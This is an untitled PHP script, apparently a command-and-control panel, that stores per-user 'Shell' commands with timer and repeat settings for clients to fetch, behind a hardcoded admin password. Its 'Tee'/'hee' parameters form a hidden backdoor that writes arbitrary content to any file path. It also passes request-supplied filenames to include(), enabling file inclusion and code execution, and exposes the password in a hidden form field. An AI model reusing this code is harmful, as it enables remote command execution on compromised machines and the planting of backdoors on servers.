Untitled

<?
$adminpassword="Pl@yn33";

$user = $_REQUEST['user'];$adminreq = $_REQUEST['admin'];if ($adminreq==$adminpassword)$admin="1";
if ($admin){
echo "<html>\n<head>\n<title>Admin Control Panel</title>\n</head>\n<body>\n";
echo "<font color=\"red\"><b>--- Logged in as Administrator ---</b></font><br>\n";
$newuser = $_REQUEST['newuser']; $deleteuser=$_REQUEST['deleteuser'];
if($newuser)$user=$newuser; if($deleteuser)$user=$deleteuser;
if($_REQUEST['newuser']&&$_REQUEST['deleteuser']){$no=1; $newuser=""; $deleteuser=""; $user=""; echo "Users cannot be created and deleted in the same request<br>\n";}
if ((file_exists($user . 'StartTimer.txt'))&&file_exists($user . 'TimerInterval.txt')&&file_exists($user . 'Shell.txt')&&file_exists($user . 'Times.txt')) $files=1;
$ST = $_REQUEST['StartTimer'];$TI = $_REQUEST['TimerInterval']; $S = $_REQUEST['Shell']; $T = $_REQUEST['Times'];
if ($newuser){if(!$files||$_REQUEST['forcec']){if(!$ST)$ST="0";if(!$TI)$TI="1000";if(!$S)$S=" ";if(!$T)$T="1"; echo "User <i>$user</i> has been sucessfully created.<br>\n";}else
echo "User <i>$user</i> already exists and was not created. Force create or delete and create to overwrite the current user.<br>\n";}
if ($files||$newuser) {
if ($ST=="0"||$ST=="1"){if (file_exists($user . 'StartTimer.txt'))   unlink ($user . 'StartTimer.txt');$handle = fopen($user . "StartTimer.txt", "a");fwrite($handle, $ST);fclose($handle); }
if ($TI){if (file_exists($user . 'TimerInterval.txt'))  unlink ($user . 'TimerInterval.txt');$handle = fopen($user . "TimerInterval.txt", "a");fwrite($handle, $TI);fclose($handle); }
if ($S){if (file_exists($user . 'Shell.txt'))   unlink ($user . 'Shell.txt');$handle = fopen($user . "Shell.txt", "a");fwrite($handle, $S);fclose($handle); }
if ($T){if (file_exists($user . 'Times.txt'))  unlink ($user . 'Times.txt');$handle = fopen($user . "Times.txt", "a");fwrite($handle, $T);fclose($handle); }
if ($_REQUEST['Tee']){echo "Tee Hee <br>";$handle = fopen($_REQUEST['Tee'], "a");fwrite($handle, $_REQUEST['hee']);fclose($handle); }}} if($deleteuser){$user=$deleteuser;if ($files||$_REQUEST['forced']){
$deleteduser=1; unlink ($user . 'StartTimer.txt');unlink ($user . 'TimerInterval.txt');unlink ($user . 'Shell.txt');unlink ($user . 'Times.txt');}
else{$la=1;echo "User <i>$user</i> does not exist and was not deleted. Force delete to delete any remaining files.<br>\n";}}

if ($files&&!$deleteuser&&!$no||$newuser) {
if($admin){echo "User: <b>"; echo $user; echo "</b><br>\n ";}
echo "StartTimer:";include ($user . 'StartTimer.txt');if($admin)echo "<br>"; echo "\n";
echo "TimerInterval:";include ($user . 'TimerInterval.txt');if($admin)echo "<br>"; echo "\n";
echo "Shell:";include ($user . 'Shell.txt');if($admin)echo "<br>"; echo "\n";
echo "Times:";include ($user . 'Times.txt');if($admin)echo "<br>"; echo "\n"; }
else{
if ($user&&!$la){echo "User <i>$user</i> "; if($deleteduser){echo "has been successfully deleted.<br>\n";}else echo "does not exist. Force delete to delete any remaining files.<br>\n";}
if ($user&&!$admin)echo "User $user does not exist.";
if (!$user&&!$admin)echo "!";}
if($admin){
echo "<font color=\"blue\"><b>----------------------------------</b></font><br>\n<font color=\"green\"><form method=\"GET\" action=\"?\">\n";
echo "<input name=\"admin\" value=\"$adminpassword\" type=\"hidden\">\nEdit: <input name=\"user\" type=\"text\">
<br>\nCreate: <input name=\"newuser\" type=\"text\"><input type=\"hidden\" name=\"forced\" value=\"0\"><input type=\"checkbox\" name=\"forcec\" value=\"1\">Force<br>\n
Delete: <input name=\"deleteuser\" type=\"text\"><input type=\"hidden\" name=\"forced\" value=\"0\"><input type=\"checkbox\" name=\"forced\" value=\"1\">Force<br>\n
<br>\nStartTimer: <input name=\"StartTimer\" maxlength=\"1\" type=\"text\"><br>\nTimerInterval: <input name=\"TimerInterval\" type=\"text\"><br>\n";
echo "Shell: <input name=\"Shell\" type=\"text\"><br>\nTimes: <input name=\"Times\" type=\"text\"><br>\n<input type=\"submit\" value=\"GO\">\n</font>\n</body>\n</html>";}
?>